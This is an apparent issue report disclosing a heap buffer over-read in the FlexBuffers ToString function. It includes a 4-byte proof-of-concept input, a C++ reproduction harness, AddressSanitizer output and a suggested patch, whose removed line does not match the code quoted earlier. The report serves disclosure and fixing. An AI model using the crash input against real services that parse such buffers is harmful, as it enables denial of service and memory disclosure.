Heap buffer overflow in FlexBuffers ToString via strlen (4-byte PoC)
- Dominant language
- C++
- Stars
- 26.5k
- Forks
- 3.7k
- PR merge metrics
- No merged PRs in 30d
Description
## Summary
`flexbuffers::VerifyBuffer()` accepts a 4-byte input as valid, but `GetRoot().ToString()` reads past the end of the buffer via `strlen()`, causing a heap-buffer-overflow READ. The verifier does not validate that key strings have NUL terminators within buffer bounds.
## Root Cause
`flexbuffers::Reference::ToString()` handles `FBT_KEY` typed values by calling `AsKey()` to get a `const char*`, then `s += str` invokes `strlen()` which reads past the 4-byte allocation searching for NUL.
`VerifyBuffer()` validates structural layout but does not check that key strings are NUL-terminated within the buffer.
### Vulnerable Code (flexbuffers.h:609-615)
```cpp
} else if (IsKey()) {
auto str = AsKey();
if (keys_quoted) {
flatbuffers::EscapeString(str, strlen(str), &s, true, natural_utf8);
} else {
s += str; // strlen() reads past 4-byte allocation looking for NUL
}
```
## PoC
```python
# Generate PoC file (4 bytes): \x01\x01\x12\x01
import base64
poc = base64.b64decode("AQESAQ==")
open("poc.bin", "wb").write(poc)
```
```cpp
// Minimal reproduction using public API
#include "flatbuffers/flexbuffers.h"
#include
#include
int main(int argc, char* argv[]) {
std::ifstream f(argv[1], std::ios::binary);
std::vector data((std::istreambuf_iterator(f)), {});
std::vector reuse_tracker;
if (!flexbuffers::VerifyBuffer(data.data(), data.size(), &reuse_tracker)) {
return 1; // verification passes for this input
}
auto root = flexbuffers::GetRoot(data.data(), data.size());
auto str = root.ToString(); // heap-buffer-overflow here
return 0;
}
```
Build & run:
```bash
clang++ -fsanitize=address -g -O1 -I include repro.cpp -o repro
ASAN_OPTIONS=detect_leaks=0 ./repro poc.bin
```
### Sanitizer Output
```
==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000014
READ of size 5 at 0x502000000014 thread T0
#0 in strlen
#1 in std::char_traits::length(char const*)
#2 in std::string::append(char const*)
#3 in std::string::operator+=(char const*)
#4 in flexbuffers::Reference::ToString(...) flexbuffers.h:614:11
#5 in main repro.cpp
0x502000000014 is located 0 bytes after 4-byte region [0x502000000010,0x502000000014)
SUMMARY: AddressSanitizer: heap-buffer-overflow in strlen
```
## Suggested Fix
```diff
--- a/include/flatbuffers/flexbuffers.h
+++ b/include/flatbuffers/flexbuffers.h
case FBT_KEY:
- s += String(byte_width_);
+ {
+ auto key = String(byte_width_);
+ size_t len = strnlen(key, size_ - (key - data_));
+ s.append(key, len);
+ break;
+ }
```
Alternative: extend `VerifyBuffer()` to validate that key strings have NUL terminators within the buffer bounds.
Found by O2Lab FuzzingBrain.
Contributor guide
Assessment
This issue has not been assessed yet.